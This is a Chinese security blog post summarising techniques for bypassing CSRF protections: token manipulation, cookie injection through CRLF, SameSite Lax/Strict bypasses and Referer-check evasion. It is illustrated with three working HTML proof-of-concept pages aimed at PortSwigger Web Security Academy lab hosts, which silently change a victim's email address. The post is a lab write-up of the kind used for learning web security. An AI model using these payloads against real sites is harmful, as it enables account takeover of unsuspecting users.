CSRF绕过总结

常见CSRF绕过总结（全）

1.修改请求方式绕过

当csrf被token保护时，可以尝试修改请求方式进行绕过

如一个POST包中请求体携程了token，则可以将POST请求修改为GET请求，将请求参数通过GET方式进行传输。

2.操作token键值

删除token值来完成绕过

3.token未绑定用户

这种情况虽然token不能进行复用，但是由于token未绑定用户的原因可以被其他用户进行引用，在token未被引用的前提下。在poc的请求里添加token，让受害者进行引用则可以完成攻击。

下述两个请求包可以看到两个不用的session（代表不同的用户）引用了同一个token

4.token绑定cookie项，但是未绑定用户

这种情况的常见表现为，cookie里带有一个类似于csrfkey之类的东西与token绑定,根据这个key来验证token值的正确与否。

如下对key对token值进行认证，但是这两个值均未绑定用户

因此poc中让cookie携带key

如下

1
2
3
4
5
6
7
8
9
10
11
12
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a0f00ab047e25818047622500010025.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="2&#64;2&#46;cn" />
      <input type="hidden" name="csrf" value="2GWPGPcA9ZbEJJvwAA66ROfrF1vPqahC" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://0a0f00ab047e25818047622500010025.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=0EEU300C8f0ENSAOZIzK1kn9Q0uk6tOI%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>

5.cookie中携带token

常见表现为，请求体和cookie均携带token，并且token值都相同。可以猜测到token值是从cookie中读取。

因此这种情况的绕过方式为在cookie中注入token

1
2
3
4
5
6
7
8
9
10
11
12
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a07009604dbdfc880902bac004b0019.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="1q1&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="LsQqZ8J8aFqk0eGWrCKYXkmfQqNPXT2c" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://0a07009604dbdfc880902bac004b0019.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=LsQqZ8J8aFqk0eGWrCKYXkmfQqNPXT2c%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
  </body>
</html>

6.SameSite属性引起的同站点松懈造成csrf漏洞

知识补充：

​ SameSite是一种用于设置Cookie属性的属性，用于增强Web应用程序的安全性和隐私。它规定了浏览器在何种情况下发送Cookie到服务器，以减少跨站点请求伪造（CSRF）和跨站点脚本（XSS）攻击的风险。

SameSite有三个属性：

Strict（严格）： 设置Cookie为Strict后，浏览器将只在请求源站点发出Cookie，而不会在跨站点请求中发送Cookie。

Lax： Lax模式相对宽松，允许在导航到外部站点之前，仅在顶级导航时发送Cookie。

None： None模式允许Cookie在跨站点请求中发送，通常用于允许第三方资源（如广告或社交媒体插件）访问Cookie。然而，这需要与Secure标志一起使用，以确保Cookie只通过加密的HTTPS连接发送。

最重要的来了

​ 谷歌浏览器默认应用的SameSite为Lax，Lax会严格限制跨站post请求，而对get请求宽松因此尝试切换请求方式进行绕过。

实例：

将如下请求改为GET方式发送

​

但是发现GET请求被限制

干货：

通过构造一个payload来发送GET请求，然后通过覆盖伪造成post请求

poc

1
2
3
4
5
6
7
8
<script>history.pushState('', '', '/')</script>
    <form action="https://0a5100ba04eca91480d38068008400d3.web-security-academy.net/my-account/change-email" method="GET">
      <input type="hidden" name="_method" value="POST">
      <input type="hidden" name="email" value="11@11" >
    </form>
    <script>
      document.forms[0].submit();
</script>

7.SameSite属性为Strict

前文叙述了SameSite属性为Lax的一个常见绕过现在来看看SameSite属性为Strict时会出现什么情况

SameSite=Strict：完全禁止在跨站点请求中发送 Cookie，无论请求是什么类型。这对于强制保持 Cookie 隔离，确保用户的认证信息不会在跨站点请求中泄漏非常有用。

对于这种硬石头没必要硬碰硬，我们可以寻找其他可利用漏洞，优先寻找URL跳转漏，

为什么要寻找url跳转？

因为当SameSite=Strict时完全禁止在跨站点请求中发送 Cookie，那么我们如果不跨站不就行了？利用url跳转到本站的某个操作接口，并带上数据很有可能可以完成csrf

这是一篇文章的评论区，当评论之后出现评论成功四个字，接着会跳转回刚刚评论的文章页面，这是跳转的请求包

发现跳转的参数是可控的，因此尝试操作一下这些参数

这里跳转到本站点的个人中心页面的修改邮箱接口，并且使用GET请求携带了参数

结果发现成功修利用url跳转完成了一次csrf

8.检测Referer字段的CSRF防御

防御csrf的手段不单只有token，有些站点会检测Referer字段判断是否跨站

移除referer字段简单绕过

发送一个空token值相同，有时候你只需简单地移除referer字段就可以绕过CSRF防御。你可以添加如下meta标签到存在漏洞的页面。

检测方式绕过

网站检测referer字段大多数是通过正则表达式来筛选有是否包含相关域名，如xxx.baidu.com正则表达式会检测referer字段是否包含baidu.com

因此可以使用包含baidu.com的恶意域名进行跨站请求

网络安全
#-安全笔记
CSRF绕过总结
http://example.com/2023/09/12/CSRF绕过总结/
作者
QY
发布于
2023年9月12日
许可协议